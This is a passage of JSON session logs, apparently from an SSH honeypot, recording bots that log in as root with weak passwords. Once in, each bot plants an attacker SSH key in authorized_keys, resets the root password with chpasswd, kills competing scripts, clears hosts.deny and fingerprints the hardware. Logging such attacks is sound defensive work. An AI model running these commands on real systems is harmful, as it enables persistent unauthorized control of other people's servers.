NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:44:46.044350+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:44:46.518618+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:44:46.585835+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:44:47.331783+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:44:47.399258+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:44:48.135923+00:00","kind":"output","latency_ms":null,"data":"behnam"},{"seq":29,"at":"2026-08-26T21:44:48.204074+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:44:49.349169+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:44:49.416881+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:44:50.299390+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"behnam","password":"behnam","method":"password","accepted":true,"tier":"other"}]} {"id":"4cd4cfa2-a3e0-4e5d-96a9-2f2538ed1b79","name":"placid-emerald-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":39934,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:42:51.688062+00:00","ended_at":"2026-08-26T21:42:53.178355+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2216,"events":[{"seq":1,"at":"2026-08-26T21:42:39.620856+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:42:39.687880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:42:41.747850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:42:42.562926+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:42:42.632374+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lwLmsGwNX8An\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:42:42.702428+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:42:42.772357+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:42:43.110910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:42:43.181034+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:42:44.601374+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:42:44.670738+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:42:46.102883+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:42:46.177526+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:42:46.888928+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:42:46.957215+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:42:47.428833+00:00","kind":"output","latency_ms":null,"data":" 21:42:47 up 6 days, 18:32, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:42:47.495773+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:42:48.310463+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:42:48.379402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:42:48.949254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:42:49.018652+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:42:49.370685+00:00","kind":"output","latency_ms":null,"data":"top - 21:42:49 up 6 days, 18:32, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:42:49.438452+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:42:49.852893+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:42:49.920575+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:42:50.267640+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:42:50.336844+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:42:50.714281+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:42:50.783732+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:42:51.620760+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:42:51.688604+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:42:53.167335+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123465**","method":"password","accepted":true,"tier":"other"}]} {"id":"f94fc549-d7ec-40c8-a223-8b20c6e0ed4f","name":"lawful-merry-toucan","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":44310,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":68,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:40:48.158444+00:00","ended_at":"2026-08-26T21:40:49.292764+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2203,"events":[{"seq":1,"at":"2026-08-26T21:40:35.828598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:40:35.896088+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:40:38.357727+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:40:38.771708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:40:38.840565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FGcoWEnB3IOt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:40:38.911924+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:40:38.981071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:40:39.605280+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:40:39.643212+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:40:40.803687+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:40:40.875854+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:40:42.283322+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:40:42.351924+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:40:42.746106+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:40:42.811948+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:40:43.199876+00:00","kind":"output","latency_ms":null,"data":" 21:40:43 up 6 days, 18:30, 0 user, load average: 0.16, 0.18, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:40:43.268988+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:40:43.522937+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:40:43.591801+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:40:43.915550+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:40:43.981382+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:40:44.344267+00:00","kind":"output","latency_ms":null,"data":"top - 21:40:44 up 6 days, 18:30, 0 user, load average: 0.16, 0.18, 0.1\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:40:44.414558+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:40:45.228775+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:40:45.295958+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:40:45.722831+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:40:45.789474+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:40:46.576357+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:40:46.644875+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:40:48.090605+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:40:48.159361+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:40:49.278555+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"london","method":"password","accepted":true,"tier":"other"}]} {"id":"7db919dd-d72b-4961-897a-fa558ce6d909","name":"courtly-dewy-okapi","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":57444,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":70,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:38:55.902990+00:00","ended_at":"2026-08-26T21:38:57.202707+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T21:38:42.910127+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:38:42.978820+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:38:46.618626+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:38:47.178410+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:38:47.254397+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QW1QDsSzfFeg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:38:47.329703+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:38:47.408368+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:38:48.049167+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:38:48.117771+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:38:49.402279+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:38:49.472865+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:38:50.375148+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:38:50.449625+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:38:50.708255+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:38:50.779407+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:38:51.088098+00:00","kind":"output","latency_ms":null,"data":" 21:38:51 up 6 days, 18:28, 0 user, load average: 0.27, 0.25, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:38:51.157071+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:38:51.515794+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:38:51.585076+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:38:52.245235+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:38:52.318775+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:38:53.122677+00:00","kind":"output","latency_ms":null,"data":"top - 21:38:53 up 6 days, 18:29, 0 user, load average: 0.27, 0.25, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:38:53.191505+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:38:53.556181+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:38:53.623260+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:38:54.160687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:38:54.230359+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:38:54.701315+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:38:54.770443+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:38:55.834702+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:38:55.903853+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:38:57.194089+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1q2w3e4r$R#E@W!Q","method":"password","accepted":true,"tier":"other"}]} {"id":"bb45dbdb-4045-4094-9ed3-6209e9e31690","name":"glacial-vernal-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"41.111.227.10","src_port":51206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":508,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:37:13.185250+00:00","ended_at":"2026-08-26T21:37:13.851923+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-26T21:36:58.686996+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:36:59.188802+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:37:03.754997+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:37:03.755582+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:37:04.265318+00:00","kind":"input","latency_ms":null,"data":"echo \"root:k9Nm9DOj1J9y\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:37:04.770065+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:37:05.274362+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:37:05.274870+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:37:05.780110+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:37:06.401065+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:37:06.911513+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:37:07.509456+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:37:08.022423+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:37:08.023380+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:37:08.530290+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:37:08.530948+00:00","kind":"output","latency_ms":null,"data":" 21:37:08 up 6 days, 18:27, 0 user, load average: 0.07, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:37:09.034241+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:37:09.034762+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:37:09.538064+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:37:09.538904+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:37:10.056872+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:37:10.057844+00:00","kind":"output","latency_ms":null,"data":"top - 21:37:10 up 6 days, 18:27, 0 user, load average: 0.07, 0.08, 0.07\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:37:10.576256+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:37:10.576790+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:37:11.083176+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:37:11.083687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:37:11.597820+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:37:11.598263+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:37:12.106005+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:37:12.675942+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:37:13.185914+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:37:13.692090+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456qw","method":"password","accepted":true,"tier":"other"}]} {"id":"0f22c5aa-bc0d-4de4-92dc-df46039b662f","name":"painted-wiry-wren","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":47040,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:35:05.727119+00:00","ended_at":"2026-08-26T21:35:07.870729+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-26T21:34:41.116780+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:34:41.183078+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 